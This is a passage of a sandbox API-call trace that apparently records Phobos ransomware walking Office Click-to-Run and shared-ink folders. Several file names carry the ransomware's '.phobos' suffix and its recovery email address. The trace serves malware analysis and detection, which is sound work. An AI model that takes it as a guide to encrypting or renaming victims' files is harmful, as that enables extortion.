lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0148.139] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0148.140] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0535a8c, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xf0535a8c, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf0582082, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x1132, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="C2RHEA~1.PHO")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0148.142] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0148.143] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0148.143] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0148.143] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0148.143] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0148.143] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0582082, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xf0582082, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf0771e4c, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="OFFICE~1.PHO")) returned 1 [0148.143] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0582082, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xf0582082, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf0798138, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x1282, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="SERVIC~1.PHO")) returned 1 [0148.144] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0148.144] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0148.144] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0148.144] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0148.144] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0148.144] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.144] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4520080 | out: hHeap=0x23a0000) returned 1 [0148.145] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3c1f17c | out: lpFindFileData=0x3c1f17c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0148.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.145] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.145] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0148.145] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, 